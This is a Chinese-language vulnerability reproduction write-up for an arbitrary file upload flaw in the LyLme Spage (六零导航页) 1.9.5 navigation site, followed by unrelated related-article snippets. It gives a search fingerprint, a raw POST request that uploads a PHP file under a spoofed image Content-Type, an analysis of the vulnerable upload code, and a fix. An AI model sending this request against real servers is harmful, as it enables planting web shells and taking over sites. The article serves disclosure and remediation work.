【漏洞复现】六零导航页 _include_file.php 任意文件上传漏洞

免责声明:

        本文内容旨在提供有关特定漏洞或安全漏洞的信息,以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步,并非出于任何恶意目的。阅读者应该明白,在利用本文提到的漏洞信息或进行相关测试时,可能会违反某些法律法规或服务协议。同时,未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担责任。读者在使用本文所提供的信息时,必须遵守适用法律法规和相关服务协议,并独自承担所有风险和责任。

产品描述

六零导航页 (LyLme Spage) 致力于简洁高效无广告的上网导航和搜索入口,支持后台添加链接、自定义搜索引擎,沉淀最具价值链接,全站无商业推广,简约而不简单。

漏洞描述

六零导航页/include/file.php接口存在任意文件上传漏洞,攻击者可以通过漏洞上传任意文件甚至木马文件,从而获取服务器权限。

漏洞影响

六零导航页 = 1.9.5 version

指纹

body=“六零导航页(LyLme Spage)致力于简洁高效无广告的上网导航和搜索入口”
image.png

漏洞复现

POST /include/file.php HTTP/1.1
Host: 
Connection: close
Content-Length: 184
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=---------------------------***
Accept-Encoding: gzip, deflate, br-----------------------------***
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/x-icon<?php phpinfo();?>
-----------------------------***--

image.png
image.png

代码分析

在 1.9.5 中 作者更新了代码

<?php/** @Description: 图片文件处理* @FilePath: /lylme_spage/include/file.php* @Copyright (c) 2024 by LyLme, All Rights Reserved.*/header('Content-Type:application/json');
require_once("common.php");
define('SAVE_PATH', 'files/'); //保存路径/*** 通过curl下载* @param string $url网上资源图片的url* @return string*/
function download_img($url)
{$IMG_NAME = uniqid("img_"); //文件名$maxsize = pow(1024, 2) * 5; //文件大小5M$size = remote_filesize($url); //文件大小if ($size > $maxsize) {exit('{"code": "-1","msg":"抓取的图片超过' . $maxsize / pow(1024, 2) . 'M,当前为:' . round($size / pow(1024, 2), 2) . 'M"}');}$img_ext = pathinfo($url, PATHINFO_EXTENSION);//文件后缀名if (!validate_file_type($img_ext)) {exit('{"code": "-4","msg":"抓取的图片类型不支持"}');}$img_name = $IMG_NAME . '.' . $img_ext;//文件名$dir = ROOT . SAVE_PATH . 'download/';$save_to = $dir . $img_name;if (!is_dir($dir)) {mkdir($dir, 0755, true);//创建路径}$header = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36','Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Accept-Encoding: gzip, deflate',);$ch = curl_init();curl_setopt($ch, CURLOPT_HTTPHEADER, $header);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($ch, CURLOPT_ENCODING, 'gzip');curl_setopt($ch, CURLOPT_POST, 0);curl_setopt($ch, CURLOPT_MAXREDIRS, 5);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_TIMEOUT, 10);//超过10秒不处理curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//执行之后信息以文件流的形式返回$data = curl_exec($ch);curl_close($ch);$fileSize = strlen($data);if ($fileSize < 1024) {exit('{"code": "-1","msg":"抓取图片失败"}');}$downloaded_file = fopen($save_to, 'w');fwrite($downloaded_file, $data);fclose($downloaded_file);$fileurl =  '/' . SAVE_PATH . 'download/' . $img_name;echo('{"code": "200","msg":"抓取图片成功","url":"' . $fileurl . '","size":"' . round($fileSize / 1024, 2) . 'KB"}');return $save_to;
}
// 获取远程文件大小
function remote_filesize($url)
{ob_start();$ch = curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 1);curl_setopt($ch, CURLOPT_NOBODY, 1);$ok = curl_exec($ch);curl_close($ch);$head = ob_get_contents();ob_end_clean();$regex = '/Content-Length:\s([0-9].+?)\s/';$count = preg_match($regex, $head, $matches);return isset($matches[1]) ? $matches[1] : "0";
}
/*** PHP上传图片* @param file 生成的文件* @return string*/
function upload_img($upfile)
{$IMG_NAME =  uniqid("img_"); //文件名$maxsize = pow(1024, 2) * 5;//文件大小5M$dir = ROOT . SAVE_PATH . 'upload/';if (!is_dir($dir)) {mkdir($dir, 0755, true);//创建路径}$type = $upfile["type"];$size = $upfile["size"];$tmp_name = $upfile["tmp_name"];if (!validate_file_type($type)) {exit('{"code": "-4","msg":"上传的图片类型不支持"}');}$parts = explode('.', $upfile["name"]);$img_ext = "." . end($parts);if ($size > $maxsize) {exit('{"code": "-1","msg":"图片不能超过' . $maxsize / pow(1024, 2) . 'M"}');}$img_name = $IMG_NAME . $img_ext;//文件名$save_to = $dir . $img_name;$url =  '/' . SAVE_PATH . 'upload/' . $img_name;if (move_uploaded_file($tmp_name, $dir . $img_name)) {echo('{"code": "200","msg":"上传成功","url":"' . $url . '"}');return  $dir . $img_name;}
}
//文件验证
function validate_file_type($type)
{switch ($type) {case 'jpeg':$type = 'image/jpeg';break;case 'jpg':$type = 'image/jpeg';break;case 'png':$type = 'image/png';break;case 'gif':$type = 'image/gif';break;case 'ico':$type = 'image/x-icon';break;}$allowed_types = array("image/jpeg", "image/png", "image/gif", "image/x-icon");return in_array($type, $allowed_types);
}
/*** 图像裁剪* @param $title string 原图路径* @param $content string 需要裁剪的宽* @param $encode string 需要裁剪的高*/
function imagecropper($source_path, $target_width, $target_height)
{if (filesize($source_path) < 10000) {return false;}$source_info = getimagesize($source_path);$source_width = $source_info[0];$source_height = $source_info[1];$source_mime = $source_info['mime'];$source_ratio = $source_height / $source_width;$target_ratio = $target_height / $target_width;// 源图过高if ($source_ratio > $target_ratio) {$cropped_width = $source_width;$cropped_height = $source_width * $target_ratio;$source_x = 0;$source_y = ($source_height - $cropped_height) / 2;}// 源图过宽elseif ($source_ratio < $target_ratio) {$cropped_width = $source_height / $target_ratio;$cropped_height = $source_height;$source_x = ($source_width - $cropped_width) / 2;$source_y = 0;}// 源图适中else {$cropped_width = $source_width;$cropped_height = $source_height;$source_x = 0;$source_y = 0;}switch ($source_mime) {case 'image/gif':$source_image = imagecreatefromgif($source_path);break;case 'image/jpeg':$source_image = imagecreatefromjpeg($source_path);break;case 'image/png':$source_image = imagecreatefrompng($source_path);break;case 'image/x-icon':$source_image = imagecreatefrompng($source_path);break;default:return false;break;}imagesavealpha($source_image, true);// 保留源图片透明度$target_image = imagecreatetruecolor($target_width, $target_height);$cropped_image = imagecreatetruecolor($cropped_width, $cropped_height);imagealphablending($target_image, false);// 不合并图片颜色imagealphablending($cropped_image, false);// 不合并图片颜色imagesavealpha($target_image, true);// 保留目标图片透明imagesavealpha($cropped_image, true);// 保留目标图片透明imagecopy($cropped_image, $source_image, 0, 0, $source_x, $source_y, $cropped_width, $cropped_height);// 裁剪imagecopyresampled($target_image, $cropped_image, 0, 0, 0, 0, $target_width, $target_height, $cropped_width, $cropped_height);// 缩放imagepng($target_image, $source_path);imagedestroy($target_image);return true;
}if (empty($_POST["url"]) && !empty($_FILES["file"])) {$filename = upload_img($_FILES["file"]);if (isset($islogin) == 1 && $_GET["crop"] == "no") {//不压缩图片exit();}//上传图片
} elseif (!empty($_POST["url"])) {$filename = download_img($_POST["url"], $_POST["referer"]);//下载图片
} else {exit('{"code": "0","msg":"error"}');
}
imagecropper($filename, 480, 480);

首先进入函数,最低下,如果 $_POST[“url”] 为空且 F I L E S [ " f i l e " ] 存在,则为 t r u e ,进入文件上传函数 u p l o a d i m g ( _FILES["file"] 存在,则为true,进入文件上传函数 upload_img( FILES["file"]存在,则为true,进入文件上传函数uploadimg(_FILES[“file”]);

if (empty($_POST["url"]) && !empty($_FILES["file"])) {$filename = upload_img($_FILES["file"]);if (isset($islogin) == 1 && $_GET["crop"] == "no") {//不压缩图片exit();}

upload_img($upfile) 函数分析

function upload_img($upfile)
{$IMG_NAME =  uniqid("img_"); //文件名$maxsize = pow(1024, 2) * 5;//文件大小5M$dir = ROOT . SAVE_PATH . 'upload/';if (!is_dir($dir)) {mkdir($dir, 0755, true);//创建路径}$type = $upfile["type"];$size = $upfile["size"];$tmp_name = $upfile["tmp_name"];if (!validate_file_type($type)) {exit('{"code": "-4","msg":"上传的图片类型不支持"}');}$parts = explode('.', $upfile["name"]);$img_ext = "." . end($parts);if ($size > $maxsize) {exit('{"code": "-1","msg":"图片不能超过' . $maxsize / pow(1024, 2) . 'M"}');}$img_name = $IMG_NAME . $img_ext;//文件名$save_to = $dir . $img_name;$url =  '/' . SAVE_PATH . 'upload/' . $img_name;if (move_uploaded_file($tmp_name, $dir . $img_name)) {echo('{"code": "200","msg":"上传成功","url":"' . $url . '"}');return  $dir . $img_name;}
}

前期都是一些创建文件夹于文件目录的函数

  • $IMG_NAME = uniqid(“img_”); 以微秒计的当前时间,生成一个唯一的 ID,拼接img_作为文件前缀
  • $maxsize文件大小
  • if (!is_dir(KaTeX parse error: Expected '}', got 'EOF' at end of input: dir)){mkdir(dir, 0755, true);} 创建路径
  • $tmp_name = $upfile[“tmp_name”]; 上传文件后服务器存储的的临时文件名
  • $type = $upfile[“type”]; 上传文件的类型
  $IMG_NAME =  uniqid("img_"); //文件名$maxsize = pow(1024, 2) * 5;//文件大小5M$dir = ROOT . SAVE_PATH . 'upload/';if (!is_dir($dir)) {mkdir($dir, 0755, true);//创建路径}$type = $upfile["type"];$size = $upfile["size"];$tmp_name = $upfile["tmp_name"];

validate_file_type()验证函数

    if (!validate_file_type($type)) {exit('{"code": "-4","msg":"上传的图片类型不支持"}');}

$type 为我们 requests 包请求中的 Content-Type: 所输入的值
最后使用函数 in_array() 去判断我们所提交的类型是否存在数组 $allowed_types 中 ,如果存在则 return

function validate_file_type($type)
{switch ($type) {case 'jpeg':$type = 'image/jpeg';break;case 'jpg':$type = 'image/jpeg';break;case 'png':$type = 'image/png';break;case 'gif':$type = 'image/gif';break;case 'ico':$type = 'image/x-icon';break;}$allowed_types = array("image/jpeg", "image/png", "image/gif", "image/x-icon");return in_array($type, $allowed_types);
}

如果提交的 Content-Type 类型不存在,则直接结束

exit('{"code": "-4","msg":"上传的图片类型不支持"}');

截取文件后缀且上传

    $parts = explode('.', $upfile["name"]);$img_ext = "." . end($parts);if ($size > $maxsize) {exit('{"code": "-1","msg":"图片不能超过' . $maxsize / pow(1024, 2) . 'M"}');}$img_name = $IMG_NAME . $img_ext;//文件名$save_to = $dir . $img_name;$url =  '/' . SAVE_PATH . 'upload/' . $img_name;if (move_uploaded_file($tmp_name, $dir . $img_name)) {echo('{"code": "200","msg":"上传成功","url":"' . $url . '"}');return  $dir . $img_name;}
  • explode(): 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
  • end(): 函数将数组内部指针指向最后一个元素,并返回该元素的值。
  • move_uploaded_file():函数将上传的文件移动到新位置。 若成功,则返回 true,否则返回 false。 语法 move_uploaded_file(file,newloc) 参数描述 file 必需

通过 explode() 以 ‘.’ 分割,最后使用 end() 取出文件名称后缀放入变量 $img_ext 中

$parts = explode('.', $upfile["name"]);//以 . 分割出后缀 php
$img_ext = "." . end($parts); // 取出 $parts 数组最后一个元素,且拼接上 .(.php)
$img_name = $IMG_NAME . $img_ext; // 拼接上文件名
move_uploaded_file($tmp_name, $dir . $img_name) # 上传文件

漏洞修复

可以参照 1.8.5 版本的代码,强制根据 $_FILES[“file”][“type”] 定义后缀

function upload_img($upfile) {$maxsize = pow(1024,2)*5;//文件大小5M$dir = ROOT.SAVE_PATH.'upload/';if(!is_dir($dir)) {mkdir($dir,0755,true);//创建路径}$type = $upfile ["type"];$size = $upfile ["size"];$tmp_name = $upfile ["tmp_name"];switch ($type) {case 'image/jpeg' :case 'image/jpg' :$extend = ".jpg";break;case 'image/gif' :$extend = ".gif";break;case 'image/png' :$extend = ".png";break;case 'image/x-icon':$extend = ".ico";break;}if (empty( $extend )) {exit('{"code": "-1","msg":"上传的图片类型不支持"}');}if ($size > $maxsize) {exit('{"code": "-1","msg":"图片不能超过'.$maxsize/pow(1024,2).'M"}');}$img_name = IMG_NAME.$extend;//文件名$save_to = $dir.$img_name;$url = siteurl().'/'.SAVE_PATH.'upload/'.$img_name;if (move_uploaded_file ( $tmp_name, $dir . $img_name )) {echo('{"code": "200","msg":"上传成功","url":"'.$url.'"}');return  $dir . $img_name;}
}

关注公众号,获取更多安全资讯:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/28602.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

鸿蒙 游戏来了 鸿蒙版 五子棋来了 我不允许你不会

团队介绍 作者:徐庆 团队:坚果派 公众号:“大前端之旅” 润开鸿生态技术专家,华为HDE,CSDN博客专家,CSDN超级个体,CSDN特邀嘉宾,InfoQ签约作者,OpenHarmony布道师,电子发烧友专家博客,51CTO博客专家,擅长HarmonyOS/OpenHarmony应用开发、熟悉服务卡片开发。欢迎合…

.NET MAUI Sqlite数据库操作(一)

一、安装 NuGet 包 安装 sqlite-net-pcl 安装 SQLitePCLRawEx.bundle_green 二、配置数据库&#xff08;数据库文件名和路径&#xff09; namespace TodoSQLite; public static class Constants {public const string DatabaseFilename "TodoSQLite.db3";//数据库…

this指针如何使C++成员指针可调用

在C中&#xff0c;this指针是一个隐藏的指针&#xff0c;指向当前对象实例。它在成员函数中自动可用&#xff0c;用于访问该对象的成员变量和成员函数。理解this指针的工作原理有助于理解为什么指向成员的指针是可调用的。在本文中&#xff0c;我们将详细探讨this指针的概念&am…

如何实现内网穿透?快解析-免费内网穿透工具

在现如今的ipv4时代&#xff0c;随着上网电脑及其他智能设备越来越多&#xff0c;公网IP地址出现了枯竭的情况。近几年&#xff0c;内网穿透这个词被不断提及&#xff0c;这也是在无公网IP环境下实现异地访问的一种可行办法&#xff0c;下面我就给大家介绍一下内网穿透的原理。…

结构型模式-桥接模式

桥接模式是什么 桥接模式是一种结构型设计模式&#xff0c;用于将抽象部分和其具体实现部分解耦&#xff0c;使它们可以独立变化。该模式通过将抽象和实现部分分离&#xff0c;使它们可以独立地扩展和变化。 在桥接模式中&#xff0c;有两个关键角色&#xff1a;抽象部分和实现…

LLMs:《A Decoder-Only Foundation Model For Time-Series Forecasting》的翻译与解读

LLMs&#xff1a;《A Decoder-Only Foundation Model For Time-Series Forecasting》的翻译与解读 导读&#xff1a;本文提出了一种名为TimesFM的时序基础模型&#xff0c;用于零样本学习模式下的时序预测任务。 背景痛点&#xff1a;近年来&#xff0c;深度学习模型在有充足训…

云计算在保险行业的应用:太平财险团财险理赔新核心业务系统案例

随着科技的快速发展&#xff0c;云计算技术已经成为推动保险行业数字化转型的重要力量。云计算为保险公司提供了弹性、可扩展的计算资源&#xff0c;使其能够灵活应对业务高峰和低谷&#xff0c;提高业务运营效率和风控水平。太平财险与太平金科联合开发的“团财险理赔新核心业…

PCA与LDA

共同点 降维方法&#xff1a; PCA和LDA都是数据降维的方式&#xff0c;它们都能通过某种变换将原始高维数据投影到低维空间。 数学原理&#xff1a; 两者在降维过程中都使用了矩阵特征分解的思想&#xff0c;通过对数据的协方差矩阵或类间、类内散度矩阵进行特征分解&#xff…

STM32 使用硬件SPI读写W25Q64芯片

STM32使用硬件SPI读写W25Q64芯片 摘要 本文详细介绍了如何使用STM32微控制器的硬件SPI接口来读写W25Q64串行Flash存储器。W25Q64是一款8Mb的SPI Flash存储器&#xff0c;广泛应用于嵌入式系统中。本文将从硬件连接、SPI初始化、W25Q64初始化、读写操作等方面进行阐述&#xf…

分析开封办理建筑工程设计资质流程

了解资质标准&#xff1a;查阅最新的建筑工程设计资质管理规定&#xff0c;明确申请所需的具体条件&#xff0c;包括注册资本、专业技术人员配备、技术装备、质量管理体系、工程业绩等要求。 组建符合资质要求的团队&#xff1a;招聘或调配具备相应资格的专业技术人员&#xf…

MySQL的复制和集群技术

MySQL的复制和集群技术是提升数据库性能、确保数据冗余和增强数据库可用性的重要手段。以下是关于MySQL复制和集群技术的详细解释&#xff1a; 1. MySQL复制&#xff08;Replication&#xff09; 1.1 定义 MySQL复制是一种将数据从一个MySQL数据库服务器&#xff08;称为主服…

【Python高级编程】Python中文本文件操作的基本方法

Python操作文本文件详解 在Python编程中&#xff0c;操作文本文件是一个非常常见的需求。无论是读取文件内容进行数据处理&#xff0c;还是将结果写入文件保存记录&#xff0c;文本文件的操作技巧都非常重要。本篇博客将详细介绍如何使用Python进行文本文件的操作&#xff0c;…

JAVA开发 选择指定的文件生成ZIP压缩包

JAVA开发 选择指定的文件生成ZIP压缩包 1、ZipOutputStream1.1 主要方法1.2 使用步骤 2、案例实现2.1 代码块2.2 运行界面 1、ZipOutputStream ZipOutputStream 是 Java 中的一个类&#xff0c;它属于 java.util.zip 包&#xff0c;用于将多个文件或数据流写入到一个 ZIP 输出…

【mysql为什么采用b+树作为索引】

## 1、Hash: 它查询任何一行数据都只需一次IO,但是只能查一行&#xff0c;不能查询范围 。 ## 2、二叉树&#xff1a; 1、 可能会单边增长&#xff0c;退化成链表&#xff0c;查询效率和没建立索引差不多。2、才二叉而已&#xff0c;树的层数太多&#xff0c;IO次数多&#x…

数据赋能(121)——体系:数据清洗——实施过程、应用特点

实施过程 数据清洗的实施过程是一个复杂而关键的任务&#xff0c;它涉及多个步骤以确保数据的准确性和一致性。以下是数据清洗通常需要进行的操作包括&#xff1a; 纠正错误&#xff1a; 识别和纠正数据中的错误&#xff0c;如拼写错误、编码错误、计算错误等。对于某些数据&…

贪心算法学习五

例题一 解法&#xff08;贪⼼&#xff09;&#xff1a; 贪⼼策略&#xff1a; 我们的任何选择&#xff0c;应该让这个数尽可能快的变成 1 。 对于偶数&#xff1a;只能执⾏除 2 操作&#xff0c;没有什么分析的&#xff1b; 对于奇数&#xff1a; i. 当 n 1 的时候…

Docker 安装 MySQL5.7 和 MySQL8

文章目录 安装 MySQL5.7拉取镜像前期准备启动容器 安装MySQL8.0拉取镜像查看镜像前期准备启动容器 安装 MySQL5.7 拉取镜像 docker pull mysql:5.7拉下来镜像后 执行 docker images 此时我们已经有这个镜像了。 前期准备 在根目录下创建 app &#xff0c; 在 app 目录下创建…

使用 `millis()` 函数在 Arduino 编程中实现非阻塞延时(水泵/继电器不受控制为例)

在 Arduino 编程中&#xff0c;delay() 函数是一个常见的工具&#xff0c;用于创建代码执行的延时。然而&#xff0c;delay() 函数的一个显著缺点是它会阻塞代码的执行。这意味着当 delay() 函数运行时&#xff0c;Arduino 将暂停其他所有的操作&#xff0c;直到延时结束。这种…

小工具开发

因不太喜欢重复性工作&#xff0c;为了提高日常工作效率&#xff0c;在业余时间开发一些小工具用于帮助自己“偷懒”。 小工具功能&#xff1a; 1、Hightec编译的hex文件&#xff0c;与多模式标定hex文件合成 2、Bootloader文件&#xff0c;Hightec编译的hex文件&#xff0c;与…

Oracle 系列数据库使用 listagg去重,删除重复数据的几种方法

listagg聚合之后很多重复数据&#xff0c;下面是解决重复数据问题 案例表 create table "dept_tag_info" ( "tag_id" bigint not null, "tag_code" varchar(200), "tag_name" varchar(500), "tag_level" varchar(200), &…